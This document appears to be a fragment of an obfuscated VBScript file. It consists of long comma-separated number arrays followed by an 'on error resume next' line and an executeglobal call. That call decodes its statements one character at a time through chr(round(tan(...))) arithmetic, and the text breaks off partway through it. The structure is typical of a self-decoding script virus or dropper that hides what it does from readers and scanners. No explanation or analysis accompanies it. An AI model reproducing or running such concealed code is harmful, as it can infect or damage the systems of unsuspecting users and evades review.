',136,178,184,219,224,247,258,262,272,278,348,469,475,482,519,530,589,630,703,786,851,934,1008,1022,1027,1033,1084,1185,1187,1208,1223,1246,1281,1298,1321,1334,1357,1386,1429,1466,1471,1480,1513,1552,1574,1588,1607,1626,1654,1675,1685,1708,1711,1720,1730,1770,1788,1802,1806,1819,1855,1899,1920,1930,1963,1991,2012,2033,2036,2047,2080,2106,2149,2182,2326,2490,2514,2597,2711,2887,2897,2932,2946,2959,2999,3063,3283,3289,3382,3432,3445,3452,3475,3579,3584,3607,3657,3825,3841,3863,3874,3886,3905,3925,3932,3944,3969,3991,4014,4027,4069,4088,4114,4276,4403,4483,4486,4686,4698,4704,4707,4835,4838,4865,4868,4901,4913,5262,5274,5324,5330,5360,5409,5467,5479,5631,5655,5667,5764,5803,5821,5833,5895,5912,5981,5993,6052,6070,6095,6101,6113,6158,6176,6234,6326,6338,6396,6400,6438,6450,6505,6522,6544,6550,6562,6581,6601,6615,6673,6685,6743,6756,6785,6797,6819,6836,6858,6864,6876,6925,6939,7000,7012,7076,7085,7090,7168,7178,7187,7244,7299,7338,7350,7400,7743,7761,7767,7784,7802,7808,7831,7853,7870,7890,7928,7944,7956,7980,8004,8036,8046,8093,8111,8136,
',79,332,339,366,428,534,556,634,660,714,790,808,862,938,1029,1142,1148,1210,1225,1262,1313,1323,1336,1355,1359,1388,1396,1403,1427,1435,1442,1455,1462,1473,1482,1495,1515,1525,1547,1558,1565,1590,1612,1732,1743,1749,1837,1857,1905,1912,1932,1943,1949,2082,2129,2139,2174,2228,2251,2368,2461,2485,2503,2510,2519,2527,2656,2685,2719,2792,2929,2974,2981,2987,3011,3018,3024,3030,3050,3095,3197,3220,3271,3293,3335,3374,3418,3437,3439,3470,3763,3771,3980,4045,4102,4123,4155,4172,4280,4441,4456,4582,4609,4628,4673,4681,4765,4888,4896,4923,4974,5044,5074,5090,5128,5168,5184,5222,5242,5257,5288,5366,5415,5462,5553,5609,5650,5731,5775,5801,5816,6321,6668,6894,6995,7155,7163,7600,7978,8131,
',4,11,15,18,63,66,72,89,100,105,106,121,147,154,162,170,173,177,192,200,211,214,218,236,241,246,254,264,267,271,321,357,375,408,419,437,494,505,545,566,603,664,669,675,723,727,742,755,762,776,812,817,823,871,875,890,903,910,924,952,958,967,974,978,981,993,1001,1007,1045,1056,1063,1067,1099,1114,1129,1157,1189,1197,1203,1220,1234,1253,1260,1264,1286,1303,1311,1370,1409,1441,1463,1465,1469,1528,1534,1550,1564,1578,1601,1610,1618,1623,1627,1638,1641,1647,1664,1672,1676,1682,1688,1694,1696,1705,1709,1715,1759,1776,1778,1879,1911,1955,1960,1964,1975,1978,1984,2001,2009,2013,2019,2030,2034,2040,2054,2055,2071,2084,2086,2112,2114,2157,2158,2163,2164,2172,2191,2206,2210,2232,2234,2255,2258,2261,2264,2270,2291,2298,2310,2318,2321,2325,2339,2356,2363,2372,2374,2389,2395,2409,2417,2435,2442,2448,2453,2457,2465,2468,2471,2474,2480,2511,2513,2517,2536,2543,2547,2550,2563,2571,2589,2592,2596,2617,2620,2646,2666,2683,2699,2737,2739,2748,2766,2783,2789,2803,2825,2851,2861,2921,2930,2944,2964,2994,3043,3068,3114,3134,3147,3158,3169,3172,3184,3195,3219,3224,3263,3269,3303,3310,3314,3317,3333,3341,3344,3364,3386,3408,3427,3435,3455,3461,3463,3494,3508,3518,3522,3557,3571,3574,3578,3596,3601,3606,3618,3627,3640,3643,3649,3686,3700,3706,3710,3719,3729,3750,3756,3761,3769,3787,3796,3803,3807,3810,3818,3826,3829,3835,3840,3873,3877,3883,3885,3906,3933,3945,3948,3970,3984,4000,4043,4054,4083,4100,4131,4138,4142,4145,4160,4284,4372,4418,4427,4470,4485,4495,4508,4513,4519,4547,4558,4587,4596,4599,4618,4623,4626,4656,4671,4679,4706,4722,4729,4733,4736,4744,4755,4760,4763,4793,4817,4827,4837,4850,4858,4867,4881,4894,4948,4955,4959,4962,4979,5054,5149,5250,5301,5308,5316,5319,5323,5338,5384,5396,5400,5404,5406,5432,5438,5445,5460,5487,5491,5506,5513,5517,5520,5528,5532,5544,5562,5577,5582,5600,5618,5637,5642,5675,5686,5693,5697,5700,5709,5721,5726,5729,5787,5791,5808,5814,5841,5857,5864,5868,5871,5891,5896,5908,5921,5944,5957,5967,5977,5982,5987,5992,6014,6025,6027,6033,6040,6067,6079,6091,6096,6100,6104,6110,6112,6135,6141,6170,6185,6200,6221,6238,6270,6282,6295,6300,6345,6361,6368,6372,6375,6392,6397,6405,6414,6424,6434,6439,6444,6449,6467,6478,6480,6486,6493,6519,6527,6540,6545,6549,6553,6559,6561,6582,6609,6620,6634,6647,6653,6661,6692,6708,6715,6719,6722,6739,6744,6752,6761,6771,6781,6786,6791,6796,6833,6841,6854,6859,6863,6867,6873,6875,6895,6905,6933,6944,6958,6971,6988,7019,7041,7045,7053,7062,7069,7077,7089,7094,7111,7118,7131,7134,7140,7153,7161,7201,7208,7212,7215,7225,7238,7243,7261,7272,7274,7280,7287,7313,7322,7335,7337,7341,7347,7349,7368,7379,7409,7421,7436,7461,7465,7483,7494,7519,7524,7545,7556,7605,7627,7640,7652,7672,7685,7694,7703,7724,7737,7742,7750,7753,7760,7768,7771,7779,7783,7791,7794,7801,7809,7812,7822,7830,7838,7841,7847,7852,7889,7897,7900,7910,7927,7935,7938,7941,7943,7947,7953,7955,8070,8078,8105,
',96,203,283,513,708,856,1081,1092,1217,1316,1348,1378,1498,1505,1632,1644,1660,1840,1847,1969,1981,1997,2132,2142,2841,2884,3033,3107,3200,3423,3472,3503,3766,3891,3957,4048,4062,4111,4288,4481,4542,4651,4676,4683,4695,4788,4807,4891,4898,5021,5245,5271,5464,5664,5769,5818,6118,6278,6567,6881,7028,7158,7165,7184,7355,7717,8033,8043,8088,8090,8108,
',92,129,144,231,257,383,445,769,917,1156,1169,1241,1285,1302,1417,1437,1542,1560,1573,1606,1684,1887,1907,2727,2869,2880,3067,3207,3218,3325,3338,3361,3381,3405,3431,3451,3490,3511,3545,3562,3591,3623,3633,3680,3696,3746,3849,4514,4624,4761,4931,5082,5098,5176,5192,5349,5358,5457,5570,5626,5727,5939,6001,6458,6805,7018,7032,7117,7139,7252,7374,7861,
',27,36,47,62,68,159,161,191,307,336,354,356,416,418,544,573,578,592,617,644,684,832,949,990,992,1139,1173,1233,1282,1299,1369,1408,1533,1740,1756,1758,1789,1807,1878,1940,2068,2070,2800,2802,2812,2830,2860,2978,3015,3064,3078,3097,3120,3133,3215,3227,3253,3367,3411,3521,3926,3999,4082,4120,4357,4404,4484,4494,4505,4507,4579,4606,4615,4617,4705,4752,4754,4826,4836,4866,5053,5103,5197,5307,5337,5383,5399,5444,5454,5541,5543,5597,5599,5718,5720,6159,6230,6294,6602,6926,7033,7038,7040,7086,7110,7401,7736,7873,8005,8104,
',24,86,138,186,226,229,234,277,331,338,344,370,381,432,443,477,484,512,526,533,606,610,626,633,702,712,730,767,782,789,850,860,878,915,930,937,950,1005,1018,1141,1147,1176,1182,1216,1263,1270,1288,1315,1331,1380,1497,1507,1645,1680,1742,1748,1772,1821,1827,1839,1849,1867,1892,1942,1948,1982,2017,2049,2096,2101,2108,2131,2141,2151,2184,2193,2204,2268,2279,2283,2302,2348,2381,2401,2415,2427,2446,2451,2478,2492,2526,2578,2602,2610,2637,2675,2707,2725,2750,2775,2881,2889,2948,2951,2973,2980,2986,3010,3017,3023,3106,3199,3285,3336,3477,3492,3502,3505,3541,3543,3586,3589,3594,3625,3647,3653,3676,3678,3698,3704,3708,3717,3727,3748,3765,3846,3864,3897,3937,3982,4010,4023,4047,4065,4090,4096,4116,4122,4158,4394,4480,4517,4581,4608,4675,4688,4700,4903,4915,4929,4977,4990,5080,5096,5174,5190,5264,5276,5332,5356,5455,5469,5481,5557,5568,5613,5624,5657,5669,5763,5773,5794,5823,5835,5881,5894,5931,5980,5998,6011,6021,6030,6053,6094,6124,6173,6209,6233,6328,6340,6382,6395,6437,6455,6464,6474,6483,6506,6543,6573,6675,6687,6729,6742,6784,6802,6820,6857,6887,6893,6978,7002,7014,7027,7031,7048,7067,7087,7157,7170,7180,7249,7258,7268,7277,7300,7361,7372,7439,7451,7468,7497,7509,7527,7548,7559,7608,7630,7643,7655,7663,7688,7706,7727,7746,7764,7787,7805,7834,7858,7893,7931,7969,7971,8061,8138,
',57,126,176,217,245,270,2324,2576,2595,2635,2673,2773,3577,3605,3839,4292,5322,5886,5901,5972,5991,6086,6163,6214,6387,6411,6429,6448,6535,6606,6644,6734,6749,6776,6795,6849,6930,6968,7230,7242,7330,7406,7458,7828,7851,7925,8010,8056,
',1247,1726,1926,2094,2095,2898,3005,4296,4487,4708,4743,4839,4869,6311,8121,
',98,104,163,164,193,194,235,358,359,420,421,489,490,499,500,774,922,951,994,995,1167,1188,1239,1254,1271,1272,1330,1400,1415,1424,1452,1453,1459,1540,1599,1646,1662,1712,1760,1761,1872,1873,1885,1896,1897,1983,1999,2037,2053,2072,2073,2097,2098,2156,2162,2205,2447,2452,2507,2522,2562,2659,2664,2804,2805,2867,2878,2992,3042,3170,3205,3323,3425,3488,3560,3595,3621,3626,3631,3648,3694,3699,3744,3749,3753,3884,4375,4421,4430,4509,4510,4561,4590,4597,4619,4620,4756,4757,4856,4879,5147,5309,5310,5339,5340,5347,5385,5386,5401,5402,5446,5447,5545,5546,5601,5602,5722,5723,5914,6028,6072,6111,6178,6228,6236,6402,6481,6524,6560,6617,6758,6838,6874,6903,6904,6941,7042,7043,7132,7271,7275,7319,7348,7418,7450,7508,7516,7697,7777,7868,7872,7916,7954,7987,8020,8064,
',14,25,146,242,342,374,409,436,465,493,502,515,524,552,553,567,585,624,656,657,670,741,780,804,805,818,889,928,977,1016,1028,1180,1209,1224,1256,1322,1335,1358,1387,1431,1432,1472,1481,1514,1554,1555,1589,1650,1731,1798,1856,1901,1902,1931,1987,2081,2102,2209,2280,2293,2312,2341,2358,2391,2411,2437,2456,2546,2705,2721,2849,2919,3313,3602,3651,3718,3784,3806,3848,3850,3865,3894,3976,3977,3987,4141,4157,4324,4381,4732,4815,4925,4958,4976,5076,5092,5170,5186,5284,5285,5362,5363,5411,5412,5516,5561,5581,5617,5633,5641,5696,5807,5867,5882,5904,5917,5932,5953,6000,6002,6012,6031,6054,6075,6121,6131,6142,6166,6181,6217,6239,6371,6383,6406,6415,6457,6459,6465,6484,6507,6528,6570,6610,6621,6648,6652,6718,6730,6753,6762,6804,6806,6821,6842,6884,6934,6945,6972,7052,7063,7070,7211,7251,7253,7259,7278,7301,7323,7358,7380,7410,7422,7462,7520,7860,7862,7964,8069,
',2,17,56,71,148,230,322,345,365,368,373,376,382,427,430,435,438,444,527,546,555,607,612,627,659,713,724,732,736,768,783,807,861,872,880,884,916,931,965,980,1002,1019,1035,1083,1183,1201,1221,1235,1252,1284,1301,1312,1354,1371,1381,1399,1410,1423,1434,1458,1494,1508,1535,1557,1579,1611,1622,1625,1639,1671,1674,1692,1704,1707,1722,1765,1836,1850,1866,1868,1880,1891,1904,1922,1959,1962,1976,2008,2011,2029,2032,2077,2128,2138,2173,2181,2186,2194,2223,2246,2284,2303,2349,2382,2396,2402,2428,2484,2489,2494,2506,2534,2549,2579,2603,2611,2638,2647,2676,2684,2708,2718,2726,2751,2776,2787,2809,2862,2882,2886,2891,2953,2961,3001,3029,3049,3066,3085,3094,3115,3127,3135,3148,3159,3185,3196,3217,3264,3270,3282,3287,3291,3301,3316,3334,3337,3387,3436,3447,3459,3469,3474,3479,3523,3532,3544,3590,3641,3654,3679,3709,3762,3770,3794,3809,3847,3898,3938,3960,3979,3983,4001,4018,4031,4044,4073,4084,4101,4113,4118,4129,4144,4154,4328,4445,4455,4496,4672,4680,4685,4690,4697,4702,4720,4735,4828,4887,4895,4900,4905,4912,4917,4922,4930,4936,4946,4961,4973,5005,5025,5043,5055,5073,5081,5089,5097,5107,5127,5167,5175,5183,5191,5201,5221,5241,5256,5261,5266,5273,5278,5287,5354,5355,5357,5365,5390,5414,5456,5461,5466,5471,5478,5483,5504,5519,5552,5555,5560,5563,5569,5579,5608,5611,5616,5619,5625,5639,5649,5654,5659,5666,5671,5684,5699,5774,5788,5796,5815,5820,5825,5832,5837,5855,5870,5941,5999,6018,6023,6037,6125,6174,6296,6310,6312,6315,6320,6325,6330,6337,6342,6359,6374,6456,6471,6476,6490,6574,6613,6667,6672,6677,6684,6689,6706,6721,6803,6888,6899,6937,6980,6994,6999,7004,7011,7016,7046,7051,7054,7112,7154,7162,7167,7172,7177,7182,7186,7199,7214,7250,7265,7270,7284,7362,7373,7413,7441,7470,7499,7529,7550,7561,7599,7610,7632,7645,7657,7690,7708,7729,7738,7751,7769,7792,7810,7839,7859,7898,7936,7967,8015,8035,8045,8092,8106,8110,8120,8122,8125,8130,8135,8140,
',1,7,28,37,55,69,76,124,205,268,280,282,301,308,347,372,434,468,518,529,551,560,588,611,629,655,673,705,707,715,731,753,785,803,821,853,855,863,879,901,933,964,970,1010,1021,1034,1038,1168,1200,1240,1279,1352,1397,1401,1416,1421,1425,1430,1438,1456,1460,1541,1553,1561,1621,1624,1634,1636,1653,1670,1673,1691,1703,1706,1713,1721,1725,1801,1886,1900,1908,1921,1925,1958,1961,1971,1973,1990,2007,2010,2028,2031,2038,2185,2222,2245,2444,2493,2504,2508,2533,2539,2574,2633,2644,2671,2701,2710,2720,2768,2771,2786,2791,2827,2868,2890,2904,2952,2960,2967,3000,3004,3079,3083,3092,3098,3121,3125,3206,3228,3237,3247,3254,3286,3290,3306,3324,3354,3384,3391,3398,3446,3458,3478,3489,3531,3537,3561,3565,3622,3632,3636,3656,3672,3695,3745,3754,3799,3821,3824,3859,3860,3893,3904,3920,3928,3931,3940,3943,3965,3968,3975,3990,4013,4016,4026,4029,4068,4071,4117,4134,4156,4170,4300,4391,4401,4439,4541,4650,4689,4701,4725,4787,4904,4916,4924,4934,4951,4975,4987,5000,5003,5075,5091,5169,5185,5265,5277,5283,5348,5361,5394,5410,5452,5470,5482,5509,5559,5615,5632,5658,5670,5689,5766,5768,5776,5795,5800,5824,5836,5860,5884,5899,5903,5913,5916,5938,5940,5952,5970,6017,6022,6036,6048,6049,6071,6074,6084,6120,6130,6153,6161,6165,6177,6180,6212,6216,6225,6240,6313,6329,6341,6364,6385,6401,6427,6470,6475,6489,6501,6502,6523,6533,6569,6580,6585,6596,6604,6616,6642,6676,6688,6711,6732,6747,6757,6774,6815,6816,6837,6847,6883,6896,6898,6902,6920,6928,6940,6966,6979,7003,7015,7050,7075,7080,7171,7181,7198,7204,7264,7269,7283,7295,7296,7318,7357,7395,7417,7440,7469,7498,7515,7528,7549,7560,7582,7593,7597,7609,7631,7644,7656,7689,7707,7728,7869,7874,7879,7880,7915,7963,7977,7999,8019,8123,8139,
',50,107,139,187,227,363,410,425,478,485,548,561,652,674,754,761,800,822,902,909,1199,1329,1524,1546,1577,1637,1690,1773,1822,1974,2056,2109,2152,2159,2165,2231,2362,2371,2394,2583,2607,2615,2642,2645,2680,2780,2785,2877,2949,3366,3368,3385,3390,3410,3412,3457,3587,3639,4091,4304,4382,5280,5290,5304,5333,5371,5380,5393,5419,5441,5550,5606,5634,5905,5918,5954,6013,6032,6076,6132,6167,6182,6218,6466,6485,6976,7073,7260,7279,7367,7449,7507,8063,
',1825,2618,3342,4094,4308,7339,7945,7986,
',5,6,8,10,54,65,78,128,137,143,169,185,210,225,263,279,319,320,330,371,380,433,442,476,483,532,579,593,618,632,645,672,676,704,721,722,728,752,756,766,788,820,824,852,869,870,876,900,904,914,936,956,968,969,971,973,999,1000,1006,1011,1057,1068,1146,1196,1275,1384,1511,1679,1747,1763,1771,1790,1808,1820,1853,1947,2016,2048,2075,2107,2150,2196,2257,2265,2267,2286,2290,2305,2309,2317,2338,2351,2355,2384,2388,2404,2408,2414,2430,2434,2467,2475,2477,2521,2537,2538,2540,2542,2558,2559,2565,2588,2658,2695,2724,2753,2762,2782,2813,2821,2831,2844,2845,2852,2902,2903,2905,2914,2915,2922,2940,2941,2947,2965,2966,2968,2985,3022,3038,3039,3045,3112,3113,3145,3146,3156,3157,3182,3183,3261,3262,3304,3305,3307,3309,3340,3454,3516,3538,3540,3570,3585,3673,3675,3684,3703,3797,3798,3800,3802,3823,3858,3878,3892,3903,3921,3930,3942,3963,3967,4012,4025,4067,4089,4132,4133,4135,4137,4167,4168,4171,4178,4179,4312,4359,4371,4392,4406,4417,4426,4436,4437,4440,4516,4546,4557,4586,4655,4723,4724,4726,4728,4792,4810,4811,4818,4848,4928,4949,4950,4952,4954,4988,5079,5095,5104,5173,5189,5198,5315,5331,5397,5430,5492,5507,5508,5510,5512,5533,5558,5567,5578,5614,5623,5638,5687,5688,5690,5692,5765,5785,5786,5792,5799,5858,5859,5861,5863,5892,5909,5922,5936,5945,5950,5958,5978,6015,6034,6047,6080,6092,6105,6119,6136,6154,6171,6186,6222,6241,6362,6363,6365,6367,6393,6435,6468,6487,6500,6541,6554,6568,6579,6586,6597,6709,6710,6712,6714,6740,6782,6814,6855,6868,6882,6901,6906,6921,7030,7049,7074,7081,7084,7093,7202,7203,7205,7207,7262,7281,7294,7342,7356,7369,7396,7437,7444,7466,7495,7502,7525,7546,7557,7564,7583,7606,7613,7628,7641,7653,7660,7686,7704,7725,7745,7754,7763,7772,7786,7795,7804,7813,7833,7842,7878,7892,7901,7930,7939,7948,7962,7972,7976,8000,
',12,29,38,59,87,99,103,130,135,150,158,204,239,281,299,302,309,316,353,384,406,415,446,474,540,549,604,640,653,706,717,729,796,801,854,865,877,944,975,989,1039,1043,1055,1061,1066,1097,1178,1198,1202,1382,1509,1600,1617,1633,1663,1689,1693,1714,1755,1757,1769,1818,1851,1869,1893,1954,1970,2000,2039,2046,2067,2069,2093,2105,2148,2161,2224,2247,2544,2621,2665,2682,2693,2696,2715,2760,2763,2784,2788,2799,2819,2822,2931,2945,2993,3080,3099,3109,3122,3142,3153,3171,3179,3229,3235,3238,3245,3248,3255,3258,3273,3311,3345,3352,3355,3392,3396,3399,3426,3434,3456,3460,3484,3506,3533,3564,3599,3635,3755,3773,3804,3827,3828,3830,3852,3907,3908,3934,3935,3946,3947,3949,3961,3971,3972,4087,4104,4139,4173,4316,4360,4373,4407,4419,4428,4442,4504,4559,4588,4598,4614,4730,4751,4857,4880,4919,4956,5070,5086,5148,5164,5180,5281,5291,5305,5329,5372,5381,5398,5420,5442,5485,5490,5514,5526,5531,5540,5571,5576,5596,5627,5673,5694,5707,5717,5767,5778,5793,5839,5865,5934,5943,5948,6004,6016,6035,6139,6198,6232,6280,6298,6369,6407,6461,6469,6488,6529,6583,6584,6622,6716,6763,6808,6843,6946,7037,7058,7060,7078,7079,7133,7209,7255,7263,7282,7316,7324,7377,7403,7415,7423,7434,7438,7448,7455,7467,7492,7496,7506,7513,7521,7526,7541,7543,7547,7554,7558,7603,7607,7623,7625,7629,7636,7638,7642,7650,7654,7681,7683,7687,7699,7701,7705,7720,7722,7726,7740,7759,7778,7781,7800,7825,7864,7875,7887,7913,7922,7974,8007,8017,8053,8062,
',20,30,39,48,49,60,61,64,73,122,140,149,155,172,179,188,201,213,220,228,240,248,255,266,273,284,303,310,323,377,379,439,441,479,486,504,543,565,572,605,609,668,677,683,709,725,757,765,816,825,831,857,873,905,913,955,983,1003,1009,1046,1064,1100,1115,1130,1158,1177,1232,1274,1278,1289,1332,1383,1439,1440,1468,1510,1527,1549,1562,1563,1619,1640,1643,1681,1698,1774,1823,1828,1852,1870,1894,1909,1910,1956,1977,1980,2018,2050,2091,2110,2153,2183,2200,2215,2225,2236,2248,2260,2269,2289,2299,2308,2320,2327,2337,2354,2376,2387,2407,2416,2421,2433,2470,2479,2491,2516,2552,2572,2581,2582,2591,2598,2605,2606,2613,2614,2622,2640,2641,2678,2679,2694,2700,2723,2757,2761,2767,2778,2779,2820,2826,2888,2950,3081,3086,3100,3116,3123,3128,3132,3149,3160,3186,3230,3239,3249,3256,3265,3284,3295,3319,3346,3356,3363,3376,3393,3400,3407,3420,3441,3462,3465,3476,3496,3515,3520,3534,3542,3558,3573,3580,3588,3600,3608,3619,3645,3665,3667,3677,3705,3731,3786,3812,3819,3836,3842,3851,3861,3887,3962,4019,4032,4056,4074,4081,4092,4097,4115,4147,4320,4376,4383,4422,4431,4446,4472,4493,4518,4543,4562,4591,4652,4687,4699,4738,4789,4902,4914,4927,4937,4964,5006,5026,5078,5094,5108,5172,5188,5202,5252,5263,5275,5302,5318,5325,5334,5439,5453,5468,5480,5488,5522,5529,5564,5566,5620,5622,5636,5656,5668,5676,5702,5710,5770,5789,5804,5822,5834,5842,5873,5907,5920,5935,5949,5956,5968,5988,5994,6003,6020,6039,6050,6068,6078,6114,6134,6140,6169,6184,6201,6220,6226,6272,6283,6301,6327,6339,6346,6377,6404,6413,6425,6445,6451,6460,6473,6492,6503,6520,6526,6563,6608,6619,6635,6646,6663,6674,6686,6693,6724,6751,6760,6772,6792,6798,6807,6817,6834,6840,6877,6900,6932,6943,6959,6970,6977,6990,7001,7013,7020,7034,7055,7061,7068,7088,7091,7109,7119,7141,7169,7179,7217,7226,7239,7245,7254,7267,7286,7297,7314,7321,7351,7371,7378,7408,7420,7443,7452,7460,7485,7501,7510,7518,7563,7592,7612,7659,7674,7747,7752,7765,7770,7788,7793,7806,7811,7823,7835,7840,7848,7854,7863,7876,7881,7894,7899,7911,7932,7937,7957,7968,7981,8080,8137,
',13,58,91,145,318,488,503,720,735,775,868,883,923,957,976,998,1054,1082,1245,1353,1467,1523,1764,1826,1865,2076,2180,2488,2500,2515,2520,2545,2619,2657,2808,2848,2879,2885,2896,2918,3053,3060,3084,3093,3111,3126,3144,3155,3181,3260,3274,3281,3312,3343,3473,3485,3510,3517,3685,3774,3781,3785,3805,3876,4017,4030,4072,4095,4105,4112,4140,4374,4420,4429,4560,4589,4684,4696,4731,4814,4849,4899,4911,4935,4957,5004,5260,5272,5353,5389,5431,5465,5477,5515,5575,5635,5653,5665,5695,5784,5802,5819,5831,5866,5906,5919,5955,6077,6103,6133,6168,6183,6219,6324,6336,6370,6552,6671,6683,6717,6866,6998,7010,7092,7166,7176,7185,7210,7340,7595,7598,7744,7762,7785,7803,7832,7891,7929,7946,7973,7979,8034,8044,8091,8109,8134,
',369,431,538,638,747,794,895,942,1077,2190,2254,2263,2441,2464,2473,2698,2747,2765,2824,3662,3866,4340,4552,4661,4798,5556,5612,5893,5979,6026,6055,6093,6394,6436,6479,6508,6542,6741,6783,6822,6856,7047,7273,7302,7464,7523,7695,
',157,337,352,414,665,716,813,864,948,988,1093,1140,1269,1398,1422,1457,1678,1741,1754,1768,1817,1941,2015,2066,2104,2171,2505,2798,2979,3016,3225,3845,4086,4121,4344,4503,4544,4580,4607,4613,4653,4750,4790,5395,5539,5595,5716,5777,5997,6314,6454,6801,7036,7248,7857,7985,8124,
',19,362,424,506,982,1152,1464,1642,1697,1777,1979,2085,2113,2235,2375,2512,2551,2738,3318,3464,3495,3644,3666,3730,3788,3811,3872,4055,4146,4336,4471,4737,4963,5251,5405,5521,5549,5605,5701,5872,6099,6210,6271,6376,6548,6662,6723,6862,6989,7216,7336,7484,7586,7673,7942,8079,
',238,466,516,562,586,678,758,760,826,906,908,1012,1186,1258,1276,1651,1799,1988,2197,2230,2287,2306,2352,2361,2370,2385,2405,2431,2754,2793,3598,3879,3988,4181,4332,4384,4745,6106,6138,6231,6242,6555,6869,7059,7343,7376,7748,7766,7789,7807,7836,7895,7933,7949,8066,
',2525,2972,3009,4159,4348,4978,
',3328,6010,6463,7257,

',3330,6041,6494,7288,

Dim unCoded(8144)
maxSymb = 124+1
Dim MyCode(127)
on error resume next
executeglobal chr(round(tan(CDbl("1,55874871694071")))) & chr(round(tan(CDbl("1,56089566020691")))) & chr(round(tan(CDbl("1,56217585068276")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,56079666010823")))) & chr(round(tan(CDbl("1,56178756150448")))) & chr(round(tan(CDbl("1,56210089378312")))) & chr(round(tan(CDbl("1,56069566020957")))) & chr(round(tan(CDbl("1,56118123849519")))) & chr(round(tan(CDbl("1,56027039976317")))) & chr(round(tan(CDbl("1,5609927193156")))) & chr(round(tan(CDbl("1,56210089378312")))) & chr(round(tan(CDbl("1,56178756150448")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,55440435248689")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,55587206180481")))) & chr(round(tan(CDbl("1,56202462195045")))) & chr(round(tan(CDbl("1,56089566020691")))) & chr(round(tan(CDbl("1,56048741364865")))) & chr(round(tan(CDbl("1,56217585068276")))) & chr(round(tan(CDbl("1,56089566020691")))) & chr(round(tan(CDbl("1,55813877496084")))) & chr(round(tan(CDbl("1,56059259930094")))) & chr(round(tan(CDbl("1,5613626443889")))) & chr(round(tan(CDbl("1,56089566020691")))) & chr(round(tan(CDbl("1,56069566020957")))) & chr(round(tan(CDbl("1,56217585068276")))) & chr(round(tan(CDbl("1,54580153317598")))) & chr(round(tan(CDbl("1,54139303859089")))) & chr(round(tan(CDbl("1,55874871694071")))) & chr(round(tan(CDbl("1,56069566020957")))) & chr(round(tan(CDbl("1,56202462195045")))) & chr(round(tan(CDbl("1,56127280520128")))) & chr(round(tan(CDbl("1,56186799261506")))) & chr(round(tan(CDbl("1,56217585068276")))) & chr(round(tan(CDbl("1,56127280520128")))) & chr(round(tan(CDbl("1,56170566812984")))) & chr(round(tan(CDbl("1,56108789396079")))) & chr(round(tan(CDbl("1,5490606199531")))) & chr(round(tan(CDbl("1,5565115842075")))) & chr(round(tan(CDbl("1,56127280520128")))) & chr(round(tan(CDbl("1,56153733213277")))) & chr(round(tan(CDbl("1,56089566020691")))) & chr(round(tan(CDbl("1,55874871694071")))) & chr(round(tan(CDbl("1,56253205213525")))) & chr(round(tan(CDbl("1,56210089378312")))) & chr(round(tan(CDbl("1,56217585068276")))) & chr(round(tan(CDbl("1,56089566020691")))) & chr(round(tan(CDbl("1,56162227224979")))) & chr(round(tan(CDbl("1,55813877496084")))) & chr(round(tan(CDbl("1,56059259930094")))) & chr(round(tan(CDbl("1,5613626443889")))) & chr(round(tan(CDbl("1,56089566020691")))) & chr(round(tan(CDbl("1,56069566020957")))) & chr(round(tan(CDbl("1,56217585068276")))) & chr(round(tan(CDbl("1,54139303859089")))) & chr(round(tan(CDbl("1,54641091762218")))) & chr(round(tan(CDbl("1,49402443552512")))) & chr(round(tan(CDbl("1,47112767430373")))) & chr(round(tan(CDbl("1,55874871694071")))) & chr(round(tan(CDbl("1,56089566020691")))) & chr(round(tan(CDbl("1,56217585068276")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,55781004387472")))) & chr(round(tan(CDbl("1,56253205213525")))) & chr(round(tan(CDbl("1,55564597092013")))) & chr(round(tan(CDbl("1,56178756150448")))) & chr(round(tan(CDbl("1,56079666010823")))) & chr(round(tan(CDbl("1,56253205213525")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,55440435248689")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,56079666010823")))) & chr(round(tan(CDbl("1,56178756150448")))) & chr(round(tan(CDbl("1,56210089378312")))) & chr(round(tan(CDbl("1,56069566020957")))) & chr(round(tan(CDbl("1,56118123849519")))) & chr(round(tan(CDbl("1,56027039976317")))) & chr(round(tan(CDbl("1,5609927193156")))) & chr(round(tan(CDbl("1,56210089378312")))) & chr(round(tan(CDbl("1,56178756150448")))) & chr(round(tan(CDbl("1,5490606199531")))) & chr(round(tan(CDbl("1,55813877496084")))) & chr(round(tan(CDbl("1,56186799261506")))) & chr(round(tan(CDbl("1,56089566020691")))) & chr(round(tan(CDbl("1,56170566812984")))) & chr(round(tan(CDbl("1,55889212723659")))) & chr(round(tan(CDbl("1,56089566020691")))) & chr(round(tan(CDbl("1,56246318635476")))) & chr(round(tan(CDbl("1,56217585068276")))) & chr(round(tan(CDbl("1,5565115842075")))) & chr(round(tan(CDbl("1,56127280520128")))) & chr(round(tan(CDbl("1,56153733213277")))) & chr(round(tan(CDbl("1,56089566020691")))) & chr(round(tan(CDbl("1,54580153317598")))) & chr(round(tan(CDbl("1,55930258007987")))) & chr(round(tan(CDbl("1,56210089378312")))) & chr(round(tan(CDbl("1,56069566020957")))) & chr(round(tan(CDbl("1,56202462195045")))) & chr(round(tan(CDbl("1,56127280520128")))) & chr(round(tan(CDbl("1,56186799261506")))) & chr(round(tan(CDbl("1,56217585068276")))) & chr(round(tan(CDbl("1,5490606199531")))) & chr(round(tan(CDbl("1,55874871694071")))) & chr(round(tan(CDbl("1,56069566020957")))) & chr(round(tan(CDbl("1,56202462195045")))) & chr(round(tan(CDbl("1,56127280520128")))) & chr(round(tan(CDbl("1,56186799261506")))) & chr(round(tan(CDbl("1,56217585068276")))) & chr(round(tan(CDbl("1,5565115842075")))) & chr(round(tan(CDbl("1,56224952636229")))) & chr(round(tan(CDbl("1,56153733213277")))) & chr(round(tan(CDbl("1,56153733213277")))) & chr(round(tan(CDbl("1,557976516322")))) & chr(round(tan(CDbl("1,56048741364865")))) & chr(round(tan(CDbl("1,56162227224979")))) & chr(round(tan(CDbl("1,56089566020691")))) & chr(round(tan(CDbl("1,54807296595326")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,55039099610836")))) & chr(round(tan(CDbl("1,54807296595326")))) & chr(round(tan(CDbl("1,53955649336463")))) & chr(round(tan(CDbl("1,5565115842075")))) & chr(round(tan(CDbl("1,56048741364865")))) & chr(round(tan(CDbl("1,56153733213277")))) & chr(round(tan(CDbl("1,56210089378312")))) & 